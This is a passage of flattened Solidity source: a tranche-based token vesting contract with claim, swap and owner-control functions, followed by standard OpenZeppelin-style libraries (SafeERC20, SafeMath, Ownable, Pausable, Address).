bool returns true if eligible **/ function isUserEligible(address user) external view returns (bool) { return (_userData[user].totalRewards > 0); } /** * @dev Convenience function to check the block number for the next tranche * @return tranche block.number of the start of this tranche. 0 if finished **/ function getNextHolderTokenTranche() external view returns (uint256 tranche) { for (uint256 i = 0; i < _tranches.length; i++) { if (block.number < _tranches[i]) return _tranches[i]; } return 0; } /** * @dev Returns whether the contract is currently locked * @return bool Return value is true, if the contract is locked **/ function getLocked() public view returns (bool) { return _locked; } /* mutating functions */ /** * @dev Claim all pending holder tokens for the requesting user **/ function claimHolderTokens() external whenNotPaused notLocked { require(_userData[msg.sender].totalRewards > 0, "NOT_WHITELISTED"); // fetch pending holder tokens (uint256 pendingRewards, uint8 tranches) = getPendingHolderTokens(); // return if none exist require(pendingRewards > 0, "NO_PENDING_REWARDS"); // check that the contract has sufficient holder tokens to send require( holderToken.balanceOf(address(this)) >= pendingRewards, "EXCEEDS_AVAIL_HT" ); // update user data with the amount of claimed tranches _userData[_msgSender()].claimedTranches = _userData[_msgSender()].claimedTranches + tranches; // sent holder tokens to user holderToken.safeTransfer(_msgSender(), pendingRewards); } /** * @dev Swaps desired `amount` of holder tokens to utility tokens. The amount * cannot exceed the users current pending / accrued utility tokens. * Holder tokens will be burned in the process and swap is always 1:1 * @param amount Amount of holder tokens to be swapped to utility tokens */ function swapHolderTokensForUtility(uint256 amount) external whenNotPaused notLocked { require(_userData[msg.sender].totalRewards > 0, "NOT_WHITELISTED"); // fetch pending utility tokens uint256 pendingRewards = _getPendingUtilityTokens(_msgSender()); // return if no utility tokens are ready to be vested require(pendingRewards > 0, "NO_PENDING_REWARDS"); // currently vested utility tokens are the maximum to be swapped // return if the desired amount exceeds the currently vested utility tokens require(pendingRewards >= amount, "AMOUNT_EXCEEDS_REWARDS"); // check that the contract has sufficient utility tokens to send require( utilityToken.balanceOf(address(this)) >= amount, "EXCEEDS_AVAILABLE_TOKENS" ); // update users claimed amount of utility tokens. these will be removed from the // pending tokens _userData[_msgSender()].claimedRewards = _userData[_msgSender()] .claimedRewards .add(amount); // transfer holder tokens from user to contract holderToken.safeTransferFrom(_msgSender(), address(this), amount); // burn holder tokens holderToken.burn(amount); // send same amount of utility tokens to user utilityToken.safeTransfer(_msgSender(), amount); } /* internal functions */ /** * @dev This function will calculate the start blocks for each tranche * @param startBlock start of the vesting contract * @param duration Amount of blocks per tranche*/ function _calculateTranches(uint256 startBlock, uint256 duration) internal { // start block cannot be 0 require(startBlock > 0, "NO_START_BLOCK"); // duration of tranches needs to be bigger than 0 require(duration > 0, "NO_DURATION"); // set tranche duration _trancheDuration = duration; // tranche 1 starts at start _tranches.push(startBlock); // tranche 2 starts `duration` amount of blocks after the first tranche _tranches.push(startBlock.add(duration)); // tranche 3 starts `duration` amount of blocks after second tranche _tranches.push(startBlock.add(duration.mul(2))); // tranche 3 starts `duration` amount of blocks after third tranche _tranches.push(startBlock.add(duration.mul(3))); } /** * @dev The actual internal function that is used to calculate the accrued * utility tokens, ready for vesting of a user * @param user the address to check for pending utility tokens * @return pendingRewards amount of accrued utility tokens up to the current block **/ function _getPendingUtilityTokens(address user) internal view returns (uint256 pendingRewards) { // return 0 if tranches are not set or first tranche is still in the future if (_tranches[0] == 0 || _tranches[0] >= block.number) return 0; // fetch users data UserData storage userData = _userData[user]; // if user has no rewards assigned, return 0 if (userData.totalRewards == 0) return 0; // calculate the multiplier, used to calculate the accrued utility tokens // from start of vesting to current block uint256 multiplier = block.number.sub(_tranches[0]); // calculate the maximal multiplier, to be used as threshold, so we // don't calculate more rewards, after vesting end reached uint256 maxDuration = _trancheDuration.mul(_tranches.length); // use multiplier if it no exceeds maximum. otherwise use max multiplier multiplier = (multiplier <= maxDuration) ? multiplier : maxDuration; // calculate the users pending / accrued utility tokens // based on users rewards per block and the given multiplier. // remove already claimed rewards by swapping holder tokens // for utility tokens uint256 rewardsPerBlock = userData.totalRewards.div(maxDuration); uint256 totalReward = multiplier.mul(rewardsPerBlock).add( userData.savedRewards ); pendingRewards = totalReward.sub(userData.claimedRewards); } /* control functions */ /** * @dev Convenience function to add a list of users to be eligible for vesting * @param users list of addresses for eligible users * @param rewards list of total rewards for the users **/ function addMultipleUserVestings( address[] calldata users, uint256[] calldata rewards ) external onlyOwner { // check that user array is not empty require(users.length > 0, "NO_USERS"); // check that rewards array is not empty require(rewards.length > 0, "NO_VESTING_DATA"); // check that user and reward array a equal length require(users.length == rewards.length, "PARAM_NOT_EQ_LENGTH"); // loop through the list and call the default function to add new vestings for (uint8 i = 0; i < users.length; i++) { addUserVesting(users[i], rewards[i]); } } /** * @dev Adds a new user eligible for vesting. Automatically calculates rewardsPerBlock, * based on the tranches and tranche duration * @param user address of eligible user * @param totalRewards amount of rewards to be vested for this user **/ function addUserVesting(address user, uint256 totalRewards) public onlyOwner { // check that address is not empty require(user != address(0), "ZERO_ADDRESS"); // check that user has rewards to receive require(totalRewards > 0, "NO_REWARDS"); // check that user does not exist yet require(_userData[user].totalRewards == 0, "EXISTING_USER"); // start block is start of tranche one uint256 startBlock = _tranches[0]; // end block is tranche three + tranche duration uint256 endBlock = _tranches[_tranches.length - 1].add( _trancheDuration ); // check that current block is still below end of vesting require(block.number < endBlock, "VESTING_FINISHED"); // make sure that start block is smaller than end block require(endBlock > startBlock, "INVALID_START_BLOCK"); // create user data object UserData memory newUserData; newUserData.totalRewards = totalRewards; _userData[user] = newUserData; } /** * @dev should allow contract's owner add more tranches * @param _tranchesAmount amount of tranches want to add: 1, 2, 3 ... */ function addTranches(uint256 _tranchesAmount) external onlyOwner { uint256 lastTranches = _tranches[_tranches.length - 1]; for (uint256 i = 0; i < _tranchesAmount; i++) { _tranches.push(lastTranches.add(_trancheDuration)); lastTranches = _tranches[_tranches.length - 1]; } } /** * @dev pause smart contract */ function pause() public onlyOwner { _pause(); } /** * @dev unpause smart contract */ function unPause() public onlyOwner { _unpause(); } function emergencyWithDrawToken(address token, address to) external whenPaused onlyOwner { uint256 balance = IERC20(token).balanceOf(address(this)); IERC20(token).safeTransfer(to, balance); } /** * @dev Remove eligibility of a user. Either deactivate completely or optionally leave the already * accrued utility tokens up for claiming, but do not accrue any further tokens. * @param user Address of the user to remove * @param keepVestedTokens If true, the user will still be able to claim / swap already accrued token rewards. But won't accrue more. **/ function removeUserVesting(address user, bool keepVestedTokens) external onlyOwner { // check that user address is not empty require(user != address(0), "ADDRESS_ZERO"); // check that user is existing and currently eligible require(_userData[user].totalRewards > 0, "INVALID_USER"); // fetch user data UserData storage userData = _userData[user]; // store users pending / accrued rewards, if `keepVestedTokens` is true. Otherwise set to zero userData.savedRewards = (keepVestedTokens == true) ? userData.savedRewards.add(_getPendingUtilityTokens(user)) : 0; // set users total rewards to users saved rewards, if `keepVestedTokens` is true. Otherwise set to zero userData.totalRewards = (keepVestedTokens == true) ? userData.savedRewards.add(userData.claimedRewards) : 0; } function setLocked(bool locked) external onlyOwner { require(locked != _locked, "SAME_VALUE"); _locked = locked; } /* modifiers */ modifier notLocked() { require(_locked == false, "LOCKED"); _; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function 